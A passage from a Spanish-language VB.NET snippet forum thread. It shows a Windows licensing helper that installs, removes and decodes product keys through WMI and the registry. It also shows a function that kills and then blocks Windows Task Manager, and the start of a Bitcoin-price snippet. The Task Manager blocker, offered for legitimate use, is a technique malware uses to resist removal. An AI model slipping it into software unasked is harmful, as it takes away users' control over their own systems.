  147.        ''' Dim licFilepath As String = "C:\License.lic"
  148.        ''' InstallLicense(licFilepath)
  149.        ''' </code>
  150.        ''' </example>
  151.        ''' ----------------------------------------------------------------------------------------------------
  152.        ''' <param name="licFilepath">
  153.        ''' The license file path.
  154.        ''' </param>
  155.        ''' ----------------------------------------------------------------------------------------------------
  156.        <DebuggerStepThrough>
  157.        Public Shared Sub InstallLicense(ByVal licFilepath As String)
  158.  
  159.            Licensing.InstallLicense(New FileInfo(licFilepath))
  160.  
  161.        End Sub
  162.  
  163.        ''' ----------------------------------------------------------------------------------------------------
  164.        ''' <summary>
  165.        ''' Installs a Windows license on the current operating system.
  166.        ''' </summary>
  167.        ''' ----------------------------------------------------------------------------------------------------
  168.        ''' <remarks>
  169.        ''' <see href="https://msdn.microsoft.com/en-us/library/cc534589(v=vs.85).aspx"/>
  170.        ''' </remarks>
  171.        ''' ----------------------------------------------------------------------------------------------------
  172.        ''' <example> This is a code example.
  173.        ''' <code>
  174.        ''' Dim licFile As New FileInfo("C:\License.lic")
  175.        ''' InstallLicense(licFile)
  176.        ''' </code>
  177.        ''' </example>
  178.        ''' ----------------------------------------------------------------------------------------------------
  179.        ''' <param name="licFile">
  180.        ''' The license file.
  181.        ''' </param>
  182.        ''' ----------------------------------------------------------------------------------------------------
  183.        ''' <exception cref="PlatformNotSupportedException">
  184.        ''' Windows 7 or newer is required to use this feature.
  185.        ''' </exception>
  186.        '''
  187.        ''' <exception cref="FileNotFoundException">
  188.        ''' License file not found.
  189.        ''' </exception>
  190.        '''
  191.        ''' <exception cref="Exception">
  192.        ''' The Software Licensing Service determined that the license is invalid.
  193.        ''' or
  194.        ''' Unknown error occurred during the license installation attempt.
  195.        ''' </exception>
  196.        ''' ----------------------------------------------------------------------------------------------------
  197.        <DebuggerStepThrough>
  198.        Public Shared Sub InstallLicense(ByVal licFile As FileInfo)
  199.  
  200.            If Not (IsWin7OrGreater) Then
  201.               Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
  202.            End If
  203.  
  204.            If Not licFile.Exists Then
  205.                Throw New FileNotFoundException("License file not found.", licFile.FullName)
  206.            End If
  207.  
  208.            Dim licData As String = File.ReadAllText(licFile.FullName)
  209.  
  210.            Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
  211.  
  212.                For Each product As ManagementObject In query.Get()
  213.  
  214.                    Dim result As UInteger
  215.                    Try
  216.                        result = CUInt(product.InvokeMethod("InstallLicense", {licData}))
  217.  
  218.                    Catch ex As COMException When (ex.HResult = -1073418209)
  219.                        Throw New Exception("The Software Licensing Service determined that the license is invalid.", ex)
  220.  
  221.                    Catch ex As COMException
  222.                        Marshal.ThrowExceptionForHR(ex.HResult)
  223.  
  224.                    Catch ex As Exception
  225.                        Throw
  226.  
  227.                    End Try
  228.  
  229.                    If (result <> 0UI) Then
  230.                        Throw New Exception("Unknown error occurred during the license installation attempt.")
  231.                    End If
  232.  
  233.                Next product
  234.  
  235.            End Using
  236.  
  237.        End Sub
  238.  
  239.        ''' ----------------------------------------------------------------------------------------------------
  240.        ''' <summary>
  241.        ''' Installs a Windows product key on the current operating system.
  242.        ''' </summary>
  243.        ''' ----------------------------------------------------------------------------------------------------
  244.        ''' <remarks>
  245.        ''' <see href="https://msdn.microsoft.com/en-us/library/cc534590(v=vs.85).aspx"/>
  246.        ''' </remarks>
  247.        ''' ----------------------------------------------------------------------------------------------------
  248.        ''' <example> This is a code example.
  249.        ''' <code>
  250.        ''' Dim productKey As String = "YTMG3-N6DKC-DKB77-7M9GH-8HVX7"
  251.        ''' InstallProductKey(productKey)
  252.        ''' </code>
  253.        ''' </example>
  254.        ''' ----------------------------------------------------------------------------------------------------
  255.        ''' <param name="productKey">
  256.        ''' The product key.
  257.        ''' </param>
  258.        ''' ----------------------------------------------------------------------------------------------------
  259.        ''' <exception cref="PlatformNotSupportedException">
  260.        ''' Windows 7 or newer is required to use this feature.
  261.        ''' </exception>
  262.        '''
  263.        ''' <exception cref="ArgumentNullException">
  264.        ''' productKey
  265.        ''' </exception>
  266.        '''
  267.        ''' <exception cref="Exception">
  268.        ''' The Software Licensing Service determined that the product key is invalid.
  269.        ''' or
  270.        ''' Unknown error occurred during the product key installation attempt.
  271.        ''' </exception>
  272.        ''' ----------------------------------------------------------------------------------------------------
  273.        <DebuggerStepThrough>
  274.        Public Shared Sub InstallProductKey(ByVal productKey As String)
  275.  
  276.            If Not (IsWin7OrGreater) Then
  277.               Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
  278.            End If
  279.  
  280.            If String.IsNullOrWhiteSpace(productKey) Then
  281.                Throw New ArgumentNullException("productKey")
  282.            End If
  283.  
  284.            Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
  285.  
  286.                For Each product As ManagementObject In query.Get()
  287.  
  288.                    Dim result As UInteger
  289.                    Try
  290.                        result = CUInt(product.InvokeMethod("InstallProductKey", {productKey}))
  291.                        ' Installing a product key could change Windows licensing state.
  292.                        ' Since the service determines if it can shut down and when is the next start time
  293.                        ' based on the licensing state we should reconsume the licenses here.
  294.                        product.InvokeMethod("RefreshLicenseStatus", Nothing)
  295.  
  296.                    Catch ex As COMException When (ex.HResult = -1073418160)
  297.                        Throw New Exception("The Software Licensing Service determined that the product key is invalid.", ex)
  298.  
  299.                    Catch ex As COMException
  300.                        Marshal.ThrowExceptionForHR(ex.HResult)
  301.  
  302.                    Catch ex As Exception
  303.                        Throw
  304.  
  305.                    End Try
  306.  
  307.                    If (result <> 0UI) Then
  308.                        Throw New Exception("Unknown error occurred during the product key installation attempt.")
  309.                    End If
  310.  
  311.                Next product
  312.  
  313.            End Using
  314.  
  315.        End Sub
  316.  
  317.        ''' ----------------------------------------------------------------------------------------------------
  318.        ''' <summary>
  319.        ''' Uninstall the Windows product key of the current operating system.
  320.        ''' </summary>
  321.        ''' ----------------------------------------------------------------------------------------------------
  322.        ''' <remarks>
  323.        ''' <see href="https://msdn.microsoft.com/en-us/library/cc534599(v=vs.85).aspx"/>
  324.        ''' </remarks>
  325.        ''' ----------------------------------------------------------------------------------------------------
  326.        ''' <exception cref="PlatformNotSupportedException">
  327.        ''' Windows 7 or newer is required to use this feature.
  328.        ''' </exception>
  329.        '''
  330.        ''' <exception cref="Exception">
  331.        ''' Unknown error occurred during the product key uninstallation attempt.
  332.        ''' </exception>
  333.        ''' ----------------------------------------------------------------------------------------------------
  334.        <DebuggerStepThrough>
  335.        Public Shared Sub UninstallProductKey()
  336.  
  337.            If Not (IsWin7OrGreater) Then
  338.               Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
  339.            End If
  340.  
  341.            Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingProduct")
  342.  
  343.                For Each product As ManagementObject In query.Get()
  344.  
  345.                    Dim result As UInteger
  346.                    Try
  347.                        result = CUInt(product.InvokeMethod("UninstallProductKey", Nothing))
  348.                        ' Uninstalling a product key could change Windows licensing state.
  349.                        ' Since the service determines if it can shut down and when is the next start time
  350.                        ' based on the licensing state we should reconsume the licenses here.
  351.                        product.InvokeMethod("RefreshLicenseStatus", Nothing)
  352.  
  353.                    Catch ex As COMException
  354.                        Marshal.ThrowExceptionForHR(ex.HResult)
  355.  
  356.                    Catch ex As Exception
  357.                        Throw
  358.  
  359.                    End Try
  360.  
  361.                    If (result <> 0UI) Then
  362.                        Throw New Exception("Unknown error occurred during the product key removal attempt.")
  363.                    End If
  364.  
  365.                Next product
  366.  
  367.            End Using
  368.  
  369.        End Sub
  370.  
  371.        ''' ----------------------------------------------------------------------------------------------------
  372.        ''' <summary>
  373.        ''' Removes the Windows product key from registry (to prevent unauthorized diffusion)
  374.        ''' of the current operating system.
  375.        ''' <para></para>
  376.        ''' It does not uninstall the product key.
  377.        ''' </summary>
  378.        ''' ----------------------------------------------------------------------------------------------------
  379.        ''' <remarks>
  380.        ''' <see href="https://msdn.microsoft.com/en-us/library/cc534586(v=vs.85).aspx"/>
  381.        ''' </remarks>
  382.        ''' ----------------------------------------------------------------------------------------------------
  383.        ''' <exception cref="PlatformNotSupportedException">
  384.        ''' Windows 7 or newer is required to use this feature.
  385.        ''' </exception>
  386.        '''
  387.        ''' <exception cref="Exception">
  388.        ''' Unknown error occurred during the product key removal attempt.
  389.        ''' </exception>
  390.        ''' ----------------------------------------------------------------------------------------------------
  391.        <DebuggerStepThrough>
  392.        Public Shared Sub RemoveProductKeyFromRegistry()
  393.  
  394.            If Not (IsWin7OrGreater) Then
  395.               Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
  396.            End If
  397.  
  398.            Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
  399.  
  400.                For Each product As ManagementObject In query.Get()
  401.  
  402.                    Dim result As UInteger
  403.                    Try
  404.                        result = CUInt(product.InvokeMethod("ClearProductKeyFromRegistry", Nothing))
  405.  
  406.                    Catch ex As COMException
  407.                        Marshal.ThrowExceptionForHR(ex.HResult)
  408.  
  409.                    Catch ex As Exception
  410.                        Throw
  411.  
  412.                    End Try
  413.  
  414.                    If (result <> 0UI) Then
  415.                        Throw New Exception("Unknown error occurred during the product key removal attempt.")
  416.                    End If
  417.  
  418.                Next product
  419.  
  420.            End Using
  421.  
  422.        End Sub
  423.  
  424.        ''' ----------------------------------------------------------------------------------------------------
  425.        ''' <summary>
  426.        ''' Updates the licensing status of the machine so that applications have access to current licensing information.
  427.        ''' </summary>
  428.        ''' ----------------------------------------------------------------------------------------------------
  429.        ''' <remarks>
  430.        ''' <see href="https://msdn.microsoft.com/en-us/library/cc534592(v=vs.85).aspx"/>
  431.        ''' </remarks>
  432.        ''' ----------------------------------------------------------------------------------------------------
  433.        ''' <exception cref="PlatformNotSupportedException">
  434.        ''' Windows 7 or newer is required to use this feature.
  435.        ''' </exception>
  436.        ''' ----------------------------------------------------------------------------------------------------
  437.        <DebuggerStepThrough>
  438.        Public Shared Sub RefreshLicenseStatus()
  439.  
  440.            If Not (IsWin7OrGreater) Then
  441.               Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
  442.            End If
  443.  
  444.            Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
  445.  
  446.                For Each product As ManagementObject In query.Get()
  447.                    product.InvokeMethod("RefreshLicenseStatus", Nothing)
  448.                Next product
  449.  
  450.            End Using
  451.  
  452.        End Sub
  453.  
  454. #End Region
  455.  
  456. #Region " Private Members "
  457.  
  458.        ''' ----------------------------------------------------------------------------------------------------
  459.        ''' <summary>
  460.        ''' Gets a value that determines whether the current operating system is <c>Windows 7</c>, or greater.
  461.        ''' </summary>
  462.        ''' ----------------------------------------------------------------------------------------------------
  463.        ''' <example> This is a code example.
  464.        ''' <code>
  465.        ''' If Not IsWin7OrGreater Then
  466.        '''     Throw New PlatformNotSupportedException("This application cannot run under the current Windows version.")
  467.        ''' End If
  468.        ''' </code>
  469.        ''' </example>
  470.        ''' ----------------------------------------------------------------------------------------------------
  471.        ''' <value>
  472.        ''' A value that determines whether the current operating system is <c>Windows 7</c>, or greater.
  473.        ''' </value>
  474.        ''' ----------------------------------------------------------------------------------------------------
  475.        Private Shared ReadOnly Property IsWin7OrGreater() As Boolean
  476.            <DebuggerStepThrough>
  477.            Get
  478.                Return (Environment.OSVersion.Platform = PlatformID.Win32NT) AndAlso
  479.                       (Environment.OSVersion.Version.CompareTo(New Version(6, 1)) >= 0)
  480.            End Get
  481.        End Property
  482.  
  483.        ''' ----------------------------------------------------------------------------------------------------
  484.        ''' <summary>
  485.        ''' Gets a value that determines whether the current operating system is <c>Windows 8</c>, or greater.
  486.        ''' </summary>
  487.        ''' ----------------------------------------------------------------------------------------------------
  488.        ''' <example> This is a code example.
  489.        ''' <code>
  490.        ''' If Not IsWin8OrGreater Then
  491.        '''     Throw New PlatformNotSupportedException("This application cannot run under the current Windows version.")
  492.        ''' End If
  493.        ''' </code>
  494.        ''' </example>
  495.        ''' ----------------------------------------------------------------------------------------------------
  496.        ''' <value>
  497.        ''' A value that determines whether the current operating system is <c>Windows 8</c>, or greater.
  498.        ''' </value>
  499.        ''' ----------------------------------------------------------------------------------------------------
  500.        Private Shared ReadOnly Property IsWin8OrGreater() As Boolean
  501.            <DebuggerStepThrough>
  502.            Get
  503.                Return (Environment.OSVersion.Platform = PlatformID.Win32NT) AndAlso
  504.                       (Environment.OSVersion.Version.CompareTo(New Version(6, 2)) >= 0)
  505.            End Get
  506.        End Property
  507.  
  508.        ''' ----------------------------------------------------------------------------------------------------
  509.        ''' <summary>
  510.        ''' Gets the Windows product key.
  511.        ''' <para></para>
  512.        ''' Note that the return value could be <see langword="Nothing"/> in case of the product key was
  513.        ''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
  514.        ''' </summary>
  515.        ''' ----------------------------------------------------------------------------------------------------
  516.        ''' <remarks>
  517.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa394239(v=vs.85).aspx"/>
  518.        ''' </remarks>
  519.        ''' ----------------------------------------------------------------------------------------------------
  520.        ''' <returns>
  521.        ''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
  522.        ''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
  523.        ''' </returns>
  524.        ''' ----------------------------------------------------------------------------------------------------
  525.        <DebuggerStepperBoundary>
  526.        Private Shared Function GetWindowsProductId() As String
  527.  
  528.            Dim result As String = Nothing
  529.  
  530.            Using query As New ManagementObjectSearcher("SELECT SerialNumber FROM Win32_OperatingSystem")
  531.  
  532.                For Each product As ManagementObject In query.Get()
  533.                    result = CStr(product.Properties("SerialNumber").Value)
  534.                Next product
  535.  
  536.            End Using
  537.  
  538.            Return result
  539.  
  540.        End Function
  541.  
  542.        ''' ----------------------------------------------------------------------------------------------------
  543.        ''' <summary>
  544.        ''' Gets the Windows product key.
  545.        ''' <para></para>
  546.        ''' Note that the return value could be <see langword="Nothing"/> in case of the product key was
  547.        ''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
  548.        ''' </summary>
  549.        ''' ----------------------------------------------------------------------------------------------------
  550.        ''' <remarks>
  551.        ''' Credits to: <see href="https://github.com/mrpeardotnet/WinProdKeyFinder"/>
  552.        ''' </remarks>
  553.        ''' ----------------------------------------------------------------------------------------------------
  554.        ''' <returns>
  555.        ''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
  556.        ''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
  557.        ''' </returns>
  558.        ''' ----------------------------------------------------------------------------------------------------
  559.        <DebuggerStepperBoundary>
  560.        Private Shared Function GetWindowsProductKey() As String
  561.  
  562.            Dim regKey As RegistryKey
  563.            Dim regValue As Byte()
  564.            Dim productKey As String
  565.  
  566.            If Environment.Is64BitOperatingSystem Then
  567.                regKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)
  568.            Else
  569.                regKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32)
  570.            End If
  571.  
  572.            Using regKey
  573.                regValue = DirectCast(regKey.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion").
  574.                                             GetValue("DigitalProductId", New Byte() {}, RegistryValueOptions.None),
  575.                                             Byte())
  576.            End Using
  577.  
  578.            productKey = Licensing.DecodeProductKey(regValue)
  579.            Return productKey
  580.  
  581.        End Function
  582.  
  583.        ''' ----------------------------------------------------------------------------------------------------
  584.        ''' <summary>
  585.        ''' Decode and return the Windows Product Key that is encoded in the specified Windows Product Identifier.
  586.        ''' </summary>
  587.        ''' ----------------------------------------------------------------------------------------------------
  588.        ''' <remarks>
  589.        ''' Credits to: <see href="https://github.com/mrpeardotnet/WinProdKeyFinder"/>
  590.        ''' </remarks>
  591.        ''' ----------------------------------------------------------------------------------------------------
  592.        ''' <returns>
  593.        ''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
  594.        ''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
  595.        ''' </returns>
  596.        ''' ----------------------------------------------------------------------------------------------------
  597.        <DebuggerStepperBoundary>
  598.        Private Shared Function DecodeProductKey(ByVal windowsProductId As Byte()) As String
  599.  
  600.            If (IsWin8OrGreater) Then ' Decode key from Windows 8 to Windows 10
  601.  
  602.                Dim key As String = String.Empty
  603.                Dim keyOffset As Integer = 52
  604.                Dim isWin8 As Byte = CByte((windowsProductId(66) \ 6) And 1)
  605.                windowsProductId(66) = CByte((windowsProductId(66) And &HF7) Or (isWin8 And 2) * 4)
  606.                Dim digits As String = "BCDFGHJKMPQRTVWXY2346789"
  607.                Dim last As Integer = 0
  608.  
  609.                For i As Integer = 24 To 0 Step -1
  610.                    Dim current As Integer = 0
  611.                    For j As Integer = 14 To 0 Step -1
  612.                        current = current * 256
  613.                        current = windowsProductId(j + keyOffset) + current
  614.                        windowsProductId(j + keyOffset) = CByte(current \ 24)
  615.                        current = current Mod 24
  616.                        last = current
  617.                    Next
  618.                    key = digits(current) + key
  619.                Next
  620.                If (key = "BBBBBBBBBBBBBBBBBBBBBBBBB") Then
  621.                    Return Nothing
  622.                End If
  623.  
  624.                Dim keypart1 As String = key.Substring(1, last)
  625.                Dim keypart2 As String = key.Substring(last + 1, key.Length - (last + 1))
  626.                key = keypart1 & "N" & keypart2
  627.  
  628.                For i As Integer = 5 To (key.Length - 1) Step 6
  629.                    key = key.Insert(i, "-")
  630.                Next i
  631.  
  632.                Return key
  633.  
  634.            Else ' Decode key from Windows XP to Windows 7
  635.                Dim keyStartIndex As Integer = 52
  636.                Dim keyEndIndex As Integer = keyStartIndex + 15
  637.                Dim decodeLength As Integer = 29
  638.                Dim decodeStringLength As Integer = 15
  639.                Dim decodedChars As Char() = New Char(decodeLength - 1) {}
  640.                Dim hexPid As New ArrayList()
  641.                Dim digits As Char() = {
  642.                        "B"c, "C"c, "D"c, "F"c, "G"c, "H"c,
  643.                        "J"c, "K"c, "M"c, "P"c, "Q"c, "R"c,
  644.                        "T"c, "V"c, "W"c, "X"c, "Y"c, "2"c,
  645.                        "3"c, "4"c, "6"c, "7"c, "8"c, "9"c
  646.                }
  647.  
  648.                For i As Integer = keyStartIndex To keyEndIndex
  649.                    hexPid.Add(windowsProductId(i))
  650.                Next i
  651.  
  652.                For i As Integer = (decodeLength - 1) To 0 Step -1
  653.                    ' Every sixth char is a separator.
  654.                    If (i + 1) Mod 6 = 0 Then
  655.                        decodedChars(i) = "-"c
  656.  
  657.                    Else
  658.                        ' Do the actual decoding.
  659.                        Dim digitMapIndex As Integer = 0
  660.                        For j As Integer = (decodeStringLength - 1) To 0 Step -1
  661.                            Dim byteValue As Integer = (digitMapIndex << 8) Or CByte(hexPid(j))
  662.                            hexPid(j) = CByte(byteValue \ 24)
  663.                            digitMapIndex = byteValue Mod 24
  664.                            decodedChars(i) = digits(digitMapIndex)
  665.                        Next
  666.  
  667.                    End If
  668.  
  669.                Next i
  670.  
  671.                Return New String(decodedChars)
  672.  
  673.            End If
  674.  
  675.        End Function
  676.  
  677. #End Region
  678.  
  679.    End Class
  680.  
  681. ' End Namespace
  682.  
  683. #End Region
  684.  


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Junio 2017, 03:55 am
¿Cómo bloquear la ejecución del administrador de tareas de Windows?

Este código lo he desarrollado para darle solución al siguiente problema: bloquear la ejecución del administrador de tareas de Windows (taskmgr.exe)

Además de eso, el código también bloquea la ejecución del hijack/sustituto del admiinstrador de tareas... suponiendo que el usuario haya definido tal hijack en el registro de Windows, claro está.

La metodología que he usado es la más sencilla (y por ende también la más eludible): abrir el stream del archivo para mantenerlo en uso y prohibir la compartición del archivo.
De esta manera, y mientras tengamos abierto el stream en nuestra aplicación, evitaremos una ejecución a demanda del administrador de tareas, incluyendo el intento de ejecución desde el diálogo de Logon de Windows.

Por supuesto el efecto no es permanente, tan solo perdurará hasta que nuestra aplicación finalice su ejecución o hasta que por el motivo que sea decidamos liberar el stream manualmente.

He usado esta metodología basicamente por que la intención de esto no es el desarrollo de malware (y para ser sincero no he querido complicarme más la vida puesto que el diseño de Malware y la ing. inversa no es mi fuerte), sino una simple utilidad a la que darle un uso ético, como por ejemplo podría ser poner impedimentos para intentar evitar que el usuario pueda matar nuestro proceso mientras estamos realizando una operación crítica e irreversible que podria dañar el sistema operativo si se detiene de forma anómala.

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Prevents any attempt for the current user from reading and running the 'taskmgr.exe' file
  4. ''' and any defined hijack in the system (if any)
  5. ''' <para></para>
  6. ''' Note that the file blocking is not permanent.
  7. ''' <para></para>
  8. ''' This function will return a <see cref="FileStream"/> Array that contains the 'taskmgr.exe' file stream(s)
  9. ''' opened with <see cref="FileAccess.Read"/> access and <see cref="FileShare.None"/> sharing.
  10. ''' <para></para>
  11. ''' So in order to unblock the access to the file(s), just dispose the opened stream(s) or terminate the calling aplication.
  12. ''' </summary>
  13. ''' ----------------------------------------------------------------------------------------------------
  14. ''' <returns>
  15. ''' A <see cref="FileStream"/> Array that contains the 'taskmgr.exe' file stream(s)
  16. ''' opened with <see cref="FileAccess.Read"/> access and <see cref="FileShare.None"/> sharing.
  17. ''' </returns>
  18. ''' ----------------------------------------------------------------------------------------------------
  19. Public Shared Function BlockWindowsTaskManager() As FileStream()
  20.  
  21.    ' Build a list with the legit tskmgr.exe file(s).
  22.    Dim tkmgrFiles As New List(Of FileInfo) From { ' C:\Windows\System32\taskmgr.exe
  23.        New FileInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "taskmgr.exe"))
  24.    }
  25.    If (Environment.Is64BitOperatingSystem) AndAlso (Environment.Is64BitProcess) Then ' C:\Windows\SysWOW64\taskmgr.exe
  26.        tkmgrFiles.Add(New FileInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.SystemX86), "taskmgr.exe")))
  27.    End If
  28.  
  29.    ' Add to the list the taskmgr.exe hijacked file, if any.
  30.    Dim hijackValue As String = GetTaskManagerHijack()
  31.    If Not String.IsNullOrWhiteSpace(hijackValue) Then
  32.        tkmgrFiles.Add(New FileInfo(hijackValue))
  33.    End If
  34.  
  35.    ' Build a list where to add the open file streams.
  36.    Dim tkmgrStreams As New List(Of FileStream)
  37.  
  38.    tkmgrFiles.ForEach(
  39.        Sub(ByVal file As FileInfo)
  40.            ' Ensure that any instance of the taskmgr processes are running; otherwise, we must terminate them.
  41.            Dim processName As String = Path.GetFileNameWithoutExtension(file.Name)
  42.            For Each p As Process In Process.GetProcessesByName(processName)
  43.                Using p
  44.                    Try
  45.                        If Not (p.HasExited) Then
  46.                            p.Kill()
  47.                            ' Wait a reasonable time interval if stuck/hanged process.
  48.                            p.WaitForExit(CInt(TimeSpan.FromSeconds(10).TotalMilliseconds))
  49.                        End If
  50.                    Catch ex As Exception ' Failed to terminate the process
  51.                        ' Since we can still block an open file (if it was open with read sharing) but
  52.                        ' we can't terminate the current running/unblocked instance,
  53.                        ' so we conclude the overall operation failed and rollback previous blocks then finish here.
  54.                        tkmgrStreams.ForEach(Sub(sr As Stream) sr.Dispose())
  55.                        Throw
  56.                    End Try
  57.                End Using ' p
  58.            Next p
  59.  
  60.            If (file.Exists()) Then
  61.                Dim fs As FileStream
  62.                Try
  63.                    fs = file.Open(FileMode.Open, FileAccess.Read, FileShare.None)
  64.                    tkmgrStreams.Add(fs)
  65.  
  66.                    ' Catch ex As IOException When (ex.HResult = -2147024864) ' File its being used by this or another process.
  67.                    ' This exception can occur if calling this function twice without disposing the returned stream(s) before the second call.
  68.  
  69.                Catch ex As Exception ' File can't be opened for whatever reason.
  70.                    ' Since we can't open/block all the required files,
  71.                    ' we conclude the overall operation failed and rollback previous blocks then finish here.
  72.                    tkmgrStreams.ForEach(Sub(sr As Stream) sr.Dispose())
  73.                    Throw
  74.  
  75.                End Try
  76.            End If
  77.  
  78.        End Sub)
  79.  
  80.    Return tkmgrStreams.ToArray()
  81.  
  82. End Function

+

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Determines whether the legit 'taskmgr.exe' file has a hijack defined in the Windows registry,
  4. ''' then returns the registry value that points to the hijack file path.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <returns>
  8. ''' The resulting hijack registry value,
  9. ''' or <see langword="Nothing"/> (null) if a 'taskmgr.exe' hijack doesn't exist.
  10. ''' </returns>
  11. ''' ----------------------------------------------------------------------------------------------------
  12. Public Shared Function GetTaskManagerHijack() As String
  13.  
  14.    Dim hijackSubkey As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe"
  15.  
  16.    Using regKey As RegistryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default)
  17.  
  18.        Return DirectCast(regKey.OpenSubKey(hijackSubkey, RegistryRights.ReadKey)?.
  19.                                 GetValue("Debugger", Nothing, RegistryValueOptions.None), String)
  20.  
  21.    End Using
  22.  
  23. End Function

Ejemplo de uso:
Código
  1. Dim tskmgrFiles As FileStream() = BlockWindowsTaskManager()
  2. For Each fs As FileStream In tskmgrFiles
  3.    Debug.WriteLine(fs.Name)
  4.    ' fs.Close() ' Call this to unblock file access.
  5. Next fs

Resultado de ejecución en mi equipo de 64-Bits con Windows 10 instalado donde tengo asignado un hijack para correr el administrador de tareas de Windows 7 en lugar del de Windows 10:
Cita de: Visual Studio Debug Output Window
C:\Windows\system32\taskmgr.exe
C:\Windows\SysWOW64\taskmgr.exe
C:\Windows\system32\taskmgr7.exe

Hasta donde yo he probado, funciona.

Nótese que para optimizar los resultados el executable que llame a la función BlockWindowsTaskManager() debe ser de la misma arquitectura que el sistema operativo donde éste sea ejecutado, pues si Windows es de 64-Bit y nuestro executable es de 32, entonces Windows automáticamente hará redirección WOW64, o dicho de otra forma si estamos en Win64 y llamamos a la función BlockWindowsTaskManager() desde un WinExe32 entonces tan solo podremos bloquear 1 taskmgr.exe de los 2 taskmgr.exe legítimos en Windows x64. Y lo mismo sucederá con el hijack puesto que un executable de 32 bits no puede acceder al visor de registro de 64 bits.

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 23 Diciembre 2017, 04:19 am
CÓMO OBTENER EL PRECIO DEL BITCOIN EN LA MONEDA QUE QUIERAS

Bueno, pues buscando alguna API gratuita y sin muchas limitaciones, encontré https://bitpay.com/api (https://bitpay.com/api) (de hecho, parece que no tiene ninguna limitación de peticiones por mes, pero no estoy completamente seguro.)

La sintaxis de la consulta es sencilla: "https://bitpay.com/api/rates/BTC/{NOMBRE_DE_MONEDA}" -así que primero creamos la siguiente enumeración con los nombres de monedas aceptados por la API (o en su defecto, un diccionario. como prefieran adaptarlo):

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Specifies the ISO-4217 3-character currency codes.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. Public Enum Currencies As Integer
  7.  
  8.    ''' <summary>
  9.    ''' UAE Dirham
  10.    ''' </summary>
  11.    AED
  12.  
  13.    ''' <summary>
  14.    ''' Afghan Afghani
  15.    ''' </summary>
  16.    AFN
  17.  
  18.    ''' <summary>
  19.    ''' Albanian Lek
  20.    ''' </summary>
  21.    ALL
  22.  
  23.    ''' <summary>
  24.    ''' Armenian Dram
  25.    ''' </summary>
  26.    AMD
  27.  
  28.    ''' <summary>
  29.    ''' Netherlands Antillean Guilder
  30.    ''' </summary>
  31.    ANG
  32.  
  33.    ''' <summary>
  34.    ''' Angolan Kwanza
  35.    ''' </summary>
  36.    AOA
  37.  
  38.    ''' <summary>
  39.    ''' Argentine Peso
  40.    ''' </summary>
  41.    ARS
  42.  
  43.    ''' <summary>
  44.    ''' Australian Dollar
  45.    ''' </summary>
  46.    AUD
  47.  
  48.    ''' <summary>
  49.    ''' Aruban Florin
  50.    ''' </summary>
  51.    AWG
  52.  
  53.    ''' <summary>
  54.    ''' Azerbaijani Manat
  55.    ''' </summary>
  56.    AZN
  57.  
  58.    ''' <summary>
  59.    ''' Bosnia-Herzegovina Convertible Mark
  60.    ''' </summary>
  61.    BAM
  62.  
  63.    ''' <summary>
  64.    ''' Barbadian Dollar
  65.    ''' </summary>
  66.    BBD
  67.  
  68.    ''' <summary>
  69.    ''' Bitcoin Cash
  70.    ''' </summary>
  71.    BCH
  72.  
  73.    ''' <summary>
  74.    ''' Bangladeshi Taka
  75.    ''' </summary>
  76.    BDT
  77.  
  78.    ''' <summary>
  79.    ''' Bulgarian Lev
  80.    ''' </summary>
  81.    BGN
  82.  
  83.    ''' <summary>
  84.    ''' Bahraini Dinar
  85.    ''' </summary>
  86.    BHD
  87.  
  88.    ''' <summary>
  89.    ''' Burundian Franc
  90.    ''' </summary>
  91.    BIF
  92.  
  93.    ''' <summary>
  94.    ''' Bermudan Dollar
  95.    ''' </summary>
  96.    BMD
  97.  
  98.    ''' <summary>
  99.    ''' Brunei Dollar
  100.    ''' </summary>
  101.    BND
  102.  
  103.    ''' <summary>
  104.    ''' Bolivian Boliviano
  105.    ''' </summary>
  106.    BOB
  107.  
  108.    ''' <summary>
  109.    ''' Brazilian Real
  110.    ''' </summary>
  111.    BRL
  112.  
  113.    ''' <summary>
  114.    ''' Bahamian Dollar
  115.    ''' </summary>
  116.    BSD
  117.  
  118.    ''' <summary>
  119.    ''' Bhutanese Ngultrum
  120.    ''' </summary>
  121.    BTN
  122.  
  123.    ''' <summary>
  124.    ''' Botswanan Pula
  125.    ''' </summary>
  126.    BWP
  127.  
